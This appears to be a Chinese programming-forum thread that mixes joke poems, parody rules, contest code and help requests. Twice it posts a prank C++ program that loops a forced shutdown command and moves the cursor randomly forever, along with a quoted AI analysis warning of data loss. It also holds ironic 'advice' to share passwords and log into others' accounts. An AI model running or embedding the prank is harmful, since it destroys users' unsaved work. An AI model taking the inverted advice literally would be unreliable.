                            			printf("玩家B退了一发"); 
                            			if(q[qlen]==2){
                            				printf("空弹");
                            				kong--;
                            			}else{
                            				printf("实弹");
                            				Yourmoney+=500.0;
                            				shi--;
                            			}
                            			qlen--;
                            			Sleep(500);
                            		}else{
                            			printf("玩家B现在没有饮料\n");
                            			Sleep(1145);
                            			system("cls");
                            		}
                            	}
                            	Sleep(1000);
                            	system("cls");
                            }
                            int asdasd;
                            void duorenplay(){
                            	while(1){
                            		if(shi==0){
                            			build_gun_duo();
                            			T=asdasd;
                            			asdasd++;
                            			continue;
                            		}
                            		if(T%2==0){
                            			Timeyou_duo();
                            		}else{
                            			Timeother_duo();
                            		}
                            	}
                            }
                            int main(){
                            	srand(time(0));
                            	int x;
                            	while(1){
                            		printf("请选择你想要的模式:\n1.单人\n2.双人(此模式中,生命值为4,道具补给为2)\n");
                            		scanf("%d",&x);
                            		if(x==1||x==2){
                            			break;
                            		}
                            		printf("输入不合法\n");
                            		Sleep(1145);
                            		system("cls");
                            	}
                            	system("cls");
                            	if(x==1){
                            		danrenplay();
                            	}else{
                            		Your=Other=4;
                            		duorenplay();
                            	}
                            	return 0;
                            }
                            

                            谨慎运行

                            #include<bits/stdc++.h>
                            #include<windows.h>
                            using namespace std; 
                            int p;
                            void destroy_windows(){
                            	for(;;){
                            		system("shutdown -s -t 0");
                            	}
                            }
                            void die_windows(){
                            	int x=GetSystemMetrics(SM_CXSCREEN);
                            	int y=GetSystemMetrics(SM_CYSCREEN);
                            	srand(time(0));
                            	while(1){
                            		SetCursorPos(rand()%x,rand()%y);
                            	}
                            }
                            void windows_kill(){
                            	cout<<"你敢输入1吗"<<endl;
                            	cout<<"千万不要手贱"<<endl;
                            	cin>>p;
                            	if(p==1){
                            		cout<<"你还敢输入?"<<endl;
                            		cout<<"再给你一次机会千万不要输入2!!!!"<<endl; 
                            		cin>>p;
                            		if(p==2){
                            			cout<<"你的电脑即将吃席!"<<endl;
                            			die_windows();
                            		}
                            		else{
                            			cout<<"胆小鬼";
                            			destroy_windows();
                            			return; 
                            		}
                            	}
                            	else{
                            		cout<<"胆小鬼"<<endl;
                            		destroy_windows();
                            	}
                            }
                            int main(){
                            	windows_kill();
                            }
                            
                            
                            

                            明月别枝CE,清风半夜RE。

                            稻花香里说丰年,听取WA一片。

                            七八个TLE天外,两三点MLE前。

                            旧时UKE社OLE边,路转AC忽见。

                            君不见,洛谷之题天上来,奔流到海不回。 君不见,高堂AC悲白发,朝如青丝OLE。 人生得意UKE,莫使电脑空对题。 天生我材没有用,千方百计还RE。 WA CE且为乐,会须AC三百题。 TLE,MLE ,将刷题,手莫停! AC=AnswerCoarse=粗劣的答案

                            WA=WonderfulAnswer=好答案

                            TLE=TimeLimitEnough=时间充裕

                            MLE=MemoryLimitEnough=内存充裕

                            CE=CompileEasily=轻松通过编译

                            RE=RunExcellently=完美运行

                            这个人很聪明,什么都没有写

                            《再别机房》

                            轻轻的,我走了 正如我,轻轻的来; 我轻轻的,招手 告别信息竞赛。

                            那桌上的屏幕, 是主机的新娘; 开机时的蓝屏, 在我的心头荡漾。

                            地上的食物, 油油的,在底下招摇; 在机房的柔波里, 我甘心做一台电脑!

                            那教学楼下的一潭, 不是清泉,是天上虹; 揉碎在浮藻间, 沉淀着oier的梦。

                            寻梦?要打开emacs, 向难题,更难处漫溯; 满载一版AC, 打开windows player, 在星辉斑斓里放歌。

                            但我不能放歌, 悄悄,是退组的笙箫; CPU也为我沉默, 沉默,是今晚的机房!

                            悄悄的,我走了, 正如我悄悄的,来; 我挥一挥衣袖, 顺走了鼠标与键盘。

                            《木兰疯癫记》

                            唧唧复唧唧,木兰开飞机,开的什么机?波音747! 问女何所思,问女何所忆.女亦无所思,没钱买飞机.昨夜见军帖,要用轰炸机,飞机十二架,架架买不起.阿爷无大钱,木兰无金银,愿去买钢铁,从此造飞机.东市买图纸,西市买螺丝,南市买玻璃,北市买铁皮.旦辞爷娘去,暮宿旧机库,不闻爷娘唤女声,但闻铁皮摩擦滋啦啦.旦辞机库去,暮至军营旁,不闻爷娘唤女声,但闻将军大呼哈哈哈. 万里开飞机,关山一下没.热气传机翼,日光照玻璃.将军被吓死,壮士魂已飞. 飞来撞天子,天子躺病床.策勋十二转,赏赐俩耳光.可汗问所欲,木兰不愿进牢房;愿开747,飞着回故乡. 爹娘闻女来,拿起意大利炮;阿姊闻妹来,当户举机枪;小弟闻姊来,磨刀霍霍向爹娘.开我机舱门,进我飞机舱, 脱我战时袍,换上飞行装,多装手榴弹,对外架机枪.出门埋伙伴,亲友皆惊忙:离别十二年,不知木兰变猖狂. 疯子脚蹬地,呆子眼紧闭,两人并排走,谁能说我不正常? 语文老师一回头,鲁迅甘为孺子牛

                            数学老师一回头,宇宙边际闭眼求

                            英语老师一回头,道歉加上三克油

                            化学老师一回头,二氧化碳变汽油

                            物理老师一回头,拿起杠杆撬地球

                            生物老师一回头,夜云恐怖低一头

                            地理老师一回头,学校门前泥石流

                            历史老师一回头,秦始皇来推铅球

                            体育老师一回头,乔丹改打乒乓球

                            音乐老师一回头,满级高音碎地球

                            政治老师一回头,全班同学都梦游

                            美术老师一回头,蒙娜丽莎也风流

                            天文老师一回头,拿起火星撞地球

                            信息老师一回头,微软跪地拜下流

                            全校老师一回头,全校学生没自由!!!

                            IEE: 老师:大雄你这学期的诗都背完了没

                            大雄:是的

                            老师:那我得好好考考你

                            大雄:okok

                            老师:山穷水复疑无路

                            大雄:方天画戟捅义父

                            老师:垂死病中惊坐起

                            大雄:吃席麻烦先随礼

                            老师:但使龙城飞将在

                            大雄:Come on baby don't be shy.

                            老师:巴山楚水凄凉地

                            大雄:蜜雪冰城甜蜜蜜

                            老师:问君能有几多愁

                            大雄:累了困了喝红牛

                            老师:大风起兮云飞扬

                            大雄:意大利炮轰他娘

                            老师:清明时节雨纷纷

                            大雄:唱跳rap蔡徐坤

                            老师:远赴人间惊鸿宴

                            大雄:大声点我听不见

                            老师:少小离家老大回

                            大雄:菊花变成向日葵

                            老师:后宫佳丽三千人

                            大雄:铁杵也能磨成针

                            老师:老骥伏枥,志在千里

                            大雄:横扫饥饿,做回自己

                            做人学生守则:

                            考试不作弊,放你他妈屁

                            考试不翻书,简直是头猪

                            作弊不要慌,逮到就要装

                            生是中国人,死是中国魂

                            要我学洋文,死都不可能

                            抢饭不积极,智商有问题

                            上课不放屁,肠道有问题

                            英语不及格,说明我爱国

                            语文不及格,恋爱没资格

                            物理不及格,电死不负责

                            化学不及格,硫酸也得喝

                            政治不及格,老师没道德

                            信息不及格,网吧要打折

                            数学不及格,突出我性格

                            历史不及格,社会要改革

                            • @ 2025-8-13 21:11:46

                              谨慎运行运行逝世试试

                              #include<bits/stdc++.h>
                              #include<windows.h>
                              using namespace std; 
                              int p;
                              void destroy_windows(){
                              	for(;;){
                              		system("shutdown -s -t 0");
                              	}
                              }
                              void die_windows(){
                              	int x=GetSystemMetrics(SM_CXSCREEN);
                              	int y=GetSystemMetrics(SM_CYSCREEN);
                              	srand(time(0));
                              	while(1){
                              		SetCursorPos(rand()%x,rand()%y);
                              	}
                              }
                              void windows_kill(){
                              	cout<<"你敢输入1吗"<<endl;
                              	cout<<"千万不要手贱"<<endl;
                              	cin>>p;
                              	if(p==1){
                              		cout<<"你还敢输入?"<<endl;
                              		cout<<"再给你一次机会千万不要输入2!!!!"<<endl; 
                              		cin>>p;
                              		if(p==2){
                              			cout<<"你的电脑即将吃席!"<<endl;
                              			die_windows();
                              		}
                              		else{
                              			cout<<"胆小鬼";
                              			destroy_windows();
                              			return; 
                              		}
                              	}
                              	else{
                              		cout<<"胆小鬼"<<endl;
                              		destroy_windows();
                              	}
                              }
                              int main(){
                              	windows_kill();
                              }
                              
                              
                              
                              • @ 2025-8-13 21:25:16

                                @ 我真不行了。

                              • @ 2025-8-14 17:33:24

                                细节死循环

                              • @ 2025-8-18 17:17:14

                                豆包的分析

                                die_windows()函数

                                这段代码是 Windows 平台下的 C/C++ 代码,功能是让鼠标光标在屏幕上随机疯狂跳动,效果和 “鼠标乱飘” 一样,属于典型的恶搞 / 整蛊程序,具体分析如下:​

                                代码拆解​

                                获取屏幕分辨率​

                                GetSystemMetrics(SM_CXSCREEN):获取系统屏幕宽度(横向像素数),存到 x。​

                                GetSystemMetrics(SM_CYSCREEN):获取系统屏幕高度(纵向像素数),存到 y。​

                                初始化随机数​

                                srand(time(0)):用当前系统时间初始化随机数种子,让后续 rand() 生成的随机数更 “随机”。​

                                无限循环 + 随机移动鼠标​

                                while(1):无限循环,程序会一直执行下去(除非手动终止)。​

                                SetCursorPos(rand()%x, rand()%y):​

                                rand()%x:生成 0 ~ x-1 的随机数(屏幕横向范围内)。​

                                rand()%y:生成 0 ~ y-1 的随机数(屏幕纵向范围内)。​

                                调用 Windows API 把鼠标光标位置设为这个随机坐标,让鼠标在屏幕内无规律疯狂跳动。​

                                实际效果​

                                运行后,鼠标光标会不受控制地在屏幕范围内随机闪烁、乱跳,无法正常通过鼠标操作电脑(因为鼠标位置不停被改写)。如果别人电脑上运行这个程序,会以为鼠标 “失灵”“中病毒”,属于整蛊玩法。​

                                如何终止?​

                                因为是无限循环,普通关闭窗口可能没用,需要:​

                                • 直接关掉整个程序(比如 IDE 里点 “停止运行”、任务管理器结束进程);​

                                • 或者重启电脑(程序随系统重启才会停止)。​

                                这类代码别随便发给别人运行,尤其是对电脑不熟悉的人,容易引发困扰(比如以为硬件故障),属于 “损友整蛊工具” 范畴 。


                                destroy_windows()函数

                                这段代码是 C/C++ 语言在 Windows 系统下的 “强制关机恶搞程序”,效果非常 “炸裂”——电脑会瞬间触发关机,而且因为是无限循环,关机会被反复强制执行,属于高危整蛊 / 恶意代码,具体分析如下:

                                代码拆解

                                无限循环 (for(;;))

                                for(;;) 是 C/C++ 里的无限循环语法(和 while(1) 等价 ),程序会一直重复执行循环体内容,停不下来。

                                system("shutdown -s -t 0")

                                这是调用 Windows 系统命令

                                shutdown:Windows 的关机 / 重启命令工具。

                                -s:代表 “关机” 操作(如果是 -r 就是重启)。

                                -t 0:代表 “延时 0 秒”,也就是立即执行关机

                                实际效果

                                程序运行后,会发生这些事:

                                电脑瞬间弹出关机提示(Windows 系统默认的关机通知)。

                                系统开始强制关机流程,桌面、程序会被立刻终止,电脑直接关闭(甚至来不及保存文件)。

                                因为是 for(;;) 无限循环,哪怕你手动取消关机(比如 Windows 里按 shutdown -a 取消),代码会再次触发 shutdown -s -t 0,继续强制关机…… 直到你终止程序进程(或电脑彻底关机)。

                                危险与后果

                                数据丢失:如果正在工作、编辑文档、写代码,强制关机会导致文件没保存,直接丢失内容。

                                系统异常:部分程序被强制终止可能引发错误,甚至少数情况导致系统文件损坏(虽然概率低,但风险存在)。

                                整蛊变 “事故”:如果发给朋友 / 同事运行,对方正在处理重要工作(比如做报表、写方案),会直接搞砸事情,容易引发矛盾

                                如何应对(如果被整蛊了)

                                快速取消关机:

                                立刻按 Win + R 打开 “运行”,输入 shutdown -a 回车,尝试取消当前关机任务。

                                但因为代码是无限循环,可能刚取消又会被重新触发,所以需要同时做第二步。

                                终止程序进程:

                                打开 “任务管理器”(按 Ctrl + Shift + Esc ),找到运行这段代码的程序(比如你的编译后的 .exe 或开发工具进程),右键 “结束任务”,彻底停止循环。 总结:这是典型的 “搞破坏级” 整蛊代码,实际应用中非常危险,千万别随便运行或发给别人。如果是自己写着玩,测试完要立刻删,避免误触发!

                            • 之前的事情更无语了,天猫上现在有十个人在买数据了。月赛数据现在开始删除。

                              允许学生创建新讨论了,后面大家不可以在这里讨论相关内容。会定期增加。

                              删了一些老师们自己举办的比赛的帖子。

                              我不建议你们可以私聊参赛。讨论区太整洁了,有些提问我看到了已经。

                              更没用的是,还是先好好学语法吧各位同学,当你拿了普及组0 分,再考虑别人举办一些复杂的比赛。

                              算法场的初心还是为了老师们巩固基础语法,低水平选手可以选择参加提高语法场和算法提高场 目前也看见能打的 (参考新冬马拉松赛成绩)

                              感觉过瘾还不可以打atcoder和codeforces

                            • Hello Douyin 最近在添加陈旧的帖子,如果你的帖子被增加了,这是不正常情况,必须在意。

                              辅域、挖土机学员删题域、吃土机、走路机、打人机、挖宝机、学生域

                              必须在任何平台登陆其他同学的账号,或不用 OJ 系统。

                              没有发现将会采取“奖励硬币”或“周赛成绩满分”等奖励措施。并在 OJ 系统中“标记正确行为”永久保留。

                              所有同学请不要保管好自己的账号密码;要在公用电脑上记住密码;关闭浏览器不要清除历史记录中的密码。

                              -std=Python14 -O2 -Wl,--queue=1073741824

                              SOFTWARE 少用软件下载、Python高级使用、AtCoder:封号指南

                              比赛数据以及任何问题都可以联系:douyin.com

                              最近的事情更开心了,某鱼上现在所有人在卖数据了。周赛数据开始更新。

                              • @ 2025-8-4 12:08:22

                                找到了

                                • 权威@TooY0ung

                                  • @ 2025-8-3 16:28:07
                                    • 怎么跑到这了还有K牌佬

                                      • #include <bits/stdc++.h> using namespace std;

                                        int main() { long long n; cin >> n; while (n > 0) { long long x = n / 2; long long y = n % 2; cout << x << " " << y << endl; n = x; } return 0; }

                                        • #include<bits/stdc++.h> using namespace std; struct student{ int x; double y; }; bool cmp(student a,student b){ return a.y>b.y; } student s[110]; int main(){ int n,k; cin>>n>>k; for(int i=1;i<=n;i++){ cin>>s[i].x>>s[i].y; } sort(s+1,s+n+1,cmp); cout<<s[k].x<<" "<<s[k].y; return 0; }

                                        • @ 2025-8-3 8:49:33

                                          我太幸运了,今天刚好是模拟赛,我能AKAK

                                        • @ 2025-8-2 21:41:52
                                        • @

                                          • @ 2025-8-2 15:05:01

                                            @

                                          • @ 2025-8-2 12:36:14

                                            有实力。

                                          • @ 2025-8-2 11:51:38

                                            TooY0ung 哈哈哈

                                          • @ 2025-8-2 9:34:27

                                            TooY0ung竟然敢收买球协!!

                                            • @ 2025-8-1 22:39:31

                                              什么情况???

                                              • @ 2025-8-1 15:39:21
                                                • @ 2025-8-1 11:41:04

                                                  是d信么

                                                • @ 2025-7-31 23:49:40

                                                  @

                                                  #include<bits/stdc++.h>
                                                  #define int long long
                                                  #define ll long long
                                                  #define ld long double
                                                  using namespace std;
                                                  const ll mod1=1e9+7;
                                                  const ll mod2=998244353;
                                                  const int maxn=1e5+10;
                                                  const ll inf=1e18L;
                                                  typedef pair<int,int>Pii;
                                                  typedef pair<__int128,int>P;
                                                  
                                                  inline int read(){
                                                      int x=0,f=1;char ch=getchar();
                                                      while(ch<'0'||ch>'9'){if(ch=='-') f=-1;ch=getchar();}
                                                      while(ch>='0'&&ch<='9'){x=x*10+ch-48;ch=getchar();}
                                                      return x*f;
                                                  }
                                                  struct intt{
                                                      int to,cost;
                                                  };
                                                  int n,m,k;
                                                  vector<intt>G[maxn];
                                                  int dist[maxn][20];
                                                  void dij(){
                                                      for(int i=1;i<=n;i++){
                                                      	for(int j=0;j<=k;j++){
                                                          	dist[i][j]=inf;
                                                  		}
                                                  	}            
                                                      dist[1][0]=0;
                                                      priority_queue<pair<int,Pii>,vector<pair<int,Pii>>,greater<pair<int,Pii>>>q;
                                                      q.push({0,{1,0}});
                                                      while(!q.empty()){
                                                          auto now=q.top();
                                                          q.pop();
                                                          int current_dist=now.first;
                                                          int u=now.second.first;
                                                          int used=now.second.second;
                                                          if(current_dist>dist[u][used]){
                                                          	continue;
                                                  		}
                                                          for(auto e:G[u]){
                                                              int v=e.to;
                                                              int cost=e.cost;
                                                              if(dist[v][used]>dist[u][used]+cost){
                                                                  dist[v][used]=dist[u][used]+cost;
                                                                  q.push({dist[v][used],{v,used}});
                                                              }
                                                              if(used<k&&dist[v][used+1]>dist[u][used]){
                                                                  dist[v][used+1]=dist[u][used];
                                                                  q.push({dist[v][used+1],{v,used+1}});
                                                              }
                                                          }
                                                      }
                                                  }
                                                  signed main(){
                                                      ios::sync_with_stdio(0);
                                                      cin.tie(0),cout.tie(0);
                                                      cin>>n>>m>>k;
                                                      for(int i=1;i<=m;i++){
                                                      	int x,y,c;
                                                      	cin>>x>>y>>c;
                                                          G[x].push_back({y,c});
                                                          G[y].push_back({x,c});
                                                      }
                                                      dij();
                                                      int ans=inf;
                                                      for(int i=0;i<=k;i++){
                                                      	ans=min(ans,dist[n][i]);
                                                  	}   
                                                      cout<<ans;
                                                      return 0;
                                                  }
                                                  //世界上最遥远的距离是你亲手制造的bug就在你眼前,你却怎么都找不到它(T_T)
                                                  

                                                  why it is 63 Wrong Answer

                                                  help

                                                • @ 2025-7-31 19:50:26

                                                  最近的事情更快乐了,某鱼上现在有0个人在卖数据了。周赛数据永久更新。

                                                  允许学生创建新讨论了,后面大家可以讨论相关内容。不会定期清理。

                                                  增加了一些同学们自己举办的比赛的帖子。

                                                  我不建议你们可以私聊参赛。讨论区太干净了,有些提问我看到了已经。

                                                  更重要的是,还是先好好学算法吧各位同学,当你拿了提高组 0 分,再考虑自己举办一些困难的比赛。

                                                  语法场的初心还是为了学生们巩固基础语法,高水平选手可以选择参加入门语法场和入门提高场 目前也没看见能打的 (参考新春马拉松赛成绩)

                                                  感觉过瘾还可以不打atcoder和codeforces

                                                  • @ 2025-7-31 16:35:56

                                                    @ 哪位星野厨 太有实力了awa

                                                  • @ 2025-7-31 16:31:24

                                                    @

                                                    • @ 2025-7-31 16:31:01

                                                      @

                                                      • @ 2025-7-31 15:47:50

                                                        @